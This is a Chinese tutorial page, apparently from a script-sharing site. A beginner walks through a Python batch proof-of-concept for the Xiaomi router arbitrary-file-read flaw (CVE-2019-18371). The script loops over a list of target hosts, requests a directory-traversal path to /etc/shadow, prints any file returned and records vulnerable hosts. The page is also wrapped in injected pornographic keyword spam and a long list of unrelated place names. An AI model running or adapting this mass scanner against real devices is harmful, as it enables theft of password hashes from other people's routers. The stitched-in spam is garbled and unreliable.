最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

用Python寫漏洞驗(yàn)證腳本的代碼

 更新時(shí)間:2022年02月09日 11:47:56   作者:再也沒有留戀的斜陽  
這篇文章主要介紹了用Python寫漏洞驗(yàn)證腳本,本文給大家分享完整實(shí)例代碼,代碼簡(jiǎn)單易懂,對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下

小白嘗試寫任意文件讀取poc

我是一個(gè)小白,完全不懂Python,但是Python在滲透中往往是一個(gè)重要的角色。
有一個(gè)CSDN百萬大佬寫了這樣一句話,不會(huì)編程的滲透都是耍流氓。
我雖然菜但是也想嘗試學(xué)習(xí)寫一下Python漏洞的poc和exp。

我是在網(wǎng)上找到的學(xué)習(xí)方法,隨便記錄一下。嘗試寫一個(gè)批量驗(yàn)證漏洞的poc
發(fā)現(xiàn)小米路由器有一個(gè)任意文件讀取漏洞,學(xué)著寫了看看

小米路由器遠(yuǎn)程任意文件讀取漏洞
小米路由器遠(yuǎn)程任意文件讀取漏洞(CVE-2019-18371)
小米路由器的Nginx的配置文件錯(cuò)誤,導(dǎo)致目錄穿越漏洞實(shí)現(xiàn)任意文件讀取。
可通過訪問http://domain.cn/xxx…/etc/passwd實(shí)現(xiàn)目錄穿越訪問上級(jí)目錄及其子目錄文件。
如訪問http://192.168.1.1/api-third-party/download/extdisks…/etc/passwd 便可以讀取到passwd文件。

寫一個(gè)批量驗(yàn)證漏洞的poc
第一步實(shí)現(xiàn)域名和payload拼接
已知payload=/api-third-party/download/extdisks…/etc/passwd

域名和payload拼接如下

import requests
import time
def poc_check(poc):
    for url in open('xiaomi.txt'):
        url = url.replace('\n','')
        poc_url=url+poc
        print(poc_url) # 把域名和payload拼接成一個(gè)完整的域名,然后去請(qǐng)求如果返回200就說明存在漏洞。
if __name__=='__main__':
    poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
    poc_check(poc_xiaomi)

圖片如下

在這里插入圖片描述

拼接好的域名嘗試訪問,如果返回200代表訪問成功說明能讀取到文件說明存在漏洞
返回其他的狀態(tài)碼就代表不存在漏洞
完整代碼如下:

import requests
import time

def poc_check(poc):
    for url in open('xiaomi.txt'):
        url = url.replace('\n','')
        poc_url=url+poc
        # print(poc_url) # 把域名和payload拼接成一個(gè)完整的域名,然后去請(qǐng)求如果返回200就說明存在漏洞。
        try:
            print("再也沒有留戀的斜陽")
            print("正在檢測(cè):")
            print(poc_url)
            poc_data=requests.get(poc_url)
            if poc_data.status_code==200:
                print(poc_data.content.decode('utf-8'))
                with open(r'xiaomivuln.txt','a+') as f:
                    f.write(poc_url+'\n')
                    f.close()
        except Exception as e:
            time.sleep(0.1)
            pass
if __name__=='__main__':
    poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
    # poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd'
    poc_check(poc_xiaomi)
    # poc_check(poc_xiaomi1)

在這里插入圖片描述

寫完了,我太水了的是照著別人寫的

到此這篇關(guān)于用Python寫漏洞驗(yàn)證腳本的文章就介紹到這了,更多相關(guān)Python驗(yàn)證腳本內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • OpenCV半小時(shí)掌握基本操作之圖像裁剪融合

    OpenCV半小時(shí)掌握基本操作之圖像裁剪融合

    這篇文章主要介紹了OpenCV基本操作之圖像裁剪融合,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2021-09-09
  • Django 限制訪問頻率的思路詳解

    Django 限制訪問頻率的思路詳解

    這篇文章主要介紹了Django 限制訪問頻率的思路詳解,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2019-12-12
  • 解決python3.6 右鍵沒有 Edit with IDLE的問題

    解決python3.6 右鍵沒有 Edit with IDLE的問題

    這篇文章主要介紹了解決python3.6 右鍵沒有 Edit with IDLE的問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2021-03-03
  • Python的常用基礎(chǔ)模塊之sys模塊詳解

    Python的常用基礎(chǔ)模塊之sys模塊詳解

    這篇文章主要介紹了Python的常用基礎(chǔ)模塊之sys模塊詳解,sys 模塊提供訪問 Python 解釋器使用或維護(hù)的屬性,以及與 Python 解釋器進(jìn)行交互的方法,需要的朋友可以參考下
    2023-08-08
  • python實(shí)現(xiàn)加密的方式總結(jié)

    python實(shí)現(xiàn)加密的方式總結(jié)

    這篇文章主要介紹了python實(shí)現(xiàn)加密的方式總結(jié),文中給大家提到了python中加密的注意點(diǎn),通過實(shí)例代碼給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-01-01
  • 基于Python實(shí)現(xiàn)貪吃蛇小游戲(附源碼)

    基于Python實(shí)現(xiàn)貪吃蛇小游戲(附源碼)

    本次我們將編寫一個(gè)貪吃蛇的游戲。通過鍵盤上、下、左、右控制小蛇上、下、左、右移動(dòng),吃到食物后長(zhǎng)度加1;蛇頭碰到自身或窗口邊緣,游戲失敗,需要的可以參考一下
    2022-11-11
  • Python Opencv任意形狀目標(biāo)檢測(cè)并繪制框圖

    Python Opencv任意形狀目標(biāo)檢測(cè)并繪制框圖

    這篇文章主要為大家詳細(xì)介紹了Python Opencv任意形狀目標(biāo)檢測(cè),并繪制框圖,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2019-07-07
  • TensorFlow tf.nn.max_pool實(shí)現(xiàn)池化操作方式

    TensorFlow tf.nn.max_pool實(shí)現(xiàn)池化操作方式

    今天小編就為大家分享一篇TensorFlow tf.nn.max_pool實(shí)現(xiàn)池化操作方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2020-01-01
  • Django 后臺(tái)獲取文件列表 InMemoryUploadedFile的例子

    Django 后臺(tái)獲取文件列表 InMemoryUploadedFile的例子

    今天小編就為大家分享一篇Django 后臺(tái)獲取文件列表 InMemoryUploadedFile的例子,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2019-08-08
  • Python使用sqlalchemy實(shí)現(xiàn)連接數(shù)據(jù)庫的幫助類

    Python使用sqlalchemy實(shí)現(xiàn)連接數(shù)據(jù)庫的幫助類

    這篇文章主要為大家詳細(xì)介紹了Python如何使用sqlalchemy實(shí)現(xiàn)連接數(shù)據(jù)庫的幫助類,文中的示例代碼講解詳細(xì),具有一定的借鑒價(jià)值,需要的可以參考下
    2024-02-02

最新評(píng)論

师宗县| 贺州市| 齐河县| 普兰店市| 长垣县| 万源市| 海兴县| 长乐市| 通江县| 西贡区| 万年县| 赫章县| 视频| 海宁市| 盘锦市| 内丘县| 安平县| 潼关县| 万源市| 永泰县| 准格尔旗| 怀仁县| 石泉县| 松阳县| 华坪县| 错那县| 衢州市| 邢台县| 沙洋县| 旬邑县| 嘉荫县| 高陵县| 鄂伦春自治旗| 高平市| 渑池县| 广汉市| 沧源| 柳河县| 庆安县| 鸡泽县| 乌兰浩特市|